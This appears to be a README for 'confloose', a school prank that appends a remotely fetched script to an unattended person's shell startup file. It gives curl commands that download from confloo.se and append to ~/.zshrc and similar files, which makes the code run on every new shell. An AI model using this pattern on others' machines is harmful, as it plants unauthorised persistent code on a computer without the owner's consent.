Confloose

A confloose (or "loose configuration") is a collection of the worst a startup script can do to you.

There has been a prank going on for quite some time in my IT school -- when someone leaves his computer unattended, and without locking it, one would append a script to the victim's shell startup file.

The deal is to put really annoying things right off the bat while not harming the computer and the data on it -- this prank is meant as a lesson (you should not leave your computer unattended in public space), and a fun challenge (at least for the one watching from afar)

How to confloose somebody :

curl -L confloo.se/the_script_name >> ~/.the_shell_rc

So, as an example, confloosing someone with the "hard" script, using zsh :

curl -L confloo.se/hard >> ~/.zshrc

Available scripts :

• hard [bash, zsh]: Snaipe's original confloose

Rules :

1. Don't destroy anything.
2. Don't steal anything.
3. Try to be cryptic.
4. Be fun and creative.
